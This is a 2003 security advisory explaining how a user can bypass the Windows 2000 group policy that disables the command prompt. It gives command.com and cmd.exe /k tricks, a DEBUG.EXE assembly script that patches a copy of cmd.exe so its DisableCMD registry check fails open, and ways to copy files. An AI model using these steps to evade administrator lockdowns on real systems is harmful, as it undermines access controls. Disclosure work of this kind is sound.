

Security-Assessment.com – Security Alert

Name	Win2k - Bypassing cmd.exe restrictions
Date Released	May 28, 2003
Affected Software	Microsoft Windows 2000
Researcher	Brett Moore brett.moore@security-assessment.com

Background

Windows 2000 allows an administrator to lock down access to cmd.exe through the use of group policies.

C:\WINNT\system32\gpedit.msc

Local Computer Policy->User Configuration->Administrative Templates->System

Under this tab there is a setting that can be used to prevent access to cmd.exe

Disable the command prompt

Scope Of This Exercise

- We are not looking at the option for running only allowed windows applications, or the option to not allow specific programs. This restriction can usually be bypassed by copying the file and renaming to an allowed application.
- There is no Internet access from the machine to download applications from an external source.
- The server is not secure. (obviously)

Where are we?

In most cases bypassing these restrictions, requires us to know the full path to a location we can write to. A simple method of path discovery is to create a file in a writeable folder (the desktop) using notepad. Call the file anything.com or anything.exe and set the contents to be

ec

Then when running the file windows will popup an error message similar to;

16 bit MS-Dos Subsystem

<full path>\anything.exe

The NTVDM CPU has encountered an illegal instruction.

CS:057c IP:0100 OP:65 63 0d 0a c3

Choose 'close' to terminate the application.

Bypass Cmd.exe Restriction

The 'disable the command prompt' option has an extra setting entitled

'Disable the command prompt script processing also?'

If the 'command prompt script processing' is NOT disabled and command.com exists, a user can simply execute command.com or a copy of it to gain access to a shell prompt.

If the 'command prompt script processing' is NOT disabled and cmd.exe exists but command.com does not then a user can still execute dos commands through;

cmd.exe /k <command to run>

example

cmd.exe /k dir

Security-Assessment

.com

If the 'command prompt script processing' IS disabled and command.com exists then a user can execute dos commands through;

```
command.com /k <command to run>
example
command.com /k dir
```

If the 'command prompt script processing' IS disabled and command.com does not exist then we must do a little bit of work to bypass this.

Upon trying to execute cmd.exe, even if it has been renamed the user is shown the following;

```
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
```

```
The command prompt has been disabled by your administrator.
```

```
Press any key to continue . . .
```

The checking for this setting is done from within cmd.exe and is done by checking the registry value;

```
HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD
```

For this exercise we are assuming that the user does not have access to edit this registry key, so to bypass the check we need to edit the registry key within cmd.exe.

To edit cmd.exe we first need to create a copy of it in our writeable folder and have access to debug.exe. See below for copying methods.

After starting debug.exe a user can enter the following old school asm;

```
---- DEBUG.EXE modify our cmd.exe ----

-a 100
0B29:0100 xor byte ptr [12f],90 ; To avoid nulls
0B29:0105 mov ax,3d02          ; Open file read/write
0B29:0108 mov dx,127          ; Pointer to filename
0B29:010B int 21              ; INT 21h
0B29:010D mov bx,ax          ; Save the file handle
0B29:010F mov ax,4201         ; Move file pointer
0B29:0112 xor cx,cx          ; 0 high byte
0B29:0114 mov dx,1148        ; Low byte position
0B29:0117 int 21              ; INT 21h
0B29:0119 mov ah,40          ; Write to file
0B29:011B inc cx              ; Number of bytes
0B29:011C mov dx,127         ; Position of data to write
0B29:011F int 21              ; INT 21h
0B29:0121 mov ah,3e          ; Close file
0B29:0123 int 21              ; INT 21h
0B29:0125 int 20              ; Terminate
0B29:0127
-e 127 "c:\a.exe",90         ; File name of cmd.exe copy
-g
Program terminated normally
-quit
```

DEBUG.EXE modify our cmd.exe

After running the above we can now run our modified cmd.exe to look for a non-existent registry entry. cmd.exe fails open so this will bypass the registry check.

```
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
```

```
C:\>
```

Copying Files

There are various methods to copy a file from within a restricted environment, most are well documented already.

- * copy through file->open menu with right mouse
- * copy through file->open menu with drag-drop
- * copy through vbscript/word macros
- * copy through xcopy.exe
- * copy through debug.exe

Using debug.exe, the user can write a short debug script to do a byte for byte copy of any file they have read rights to.

For further information on this issue or any of our service offerings, contact us

Web www.security-assessment.com
Email info@security-assessment.com
Phone +649 302 5093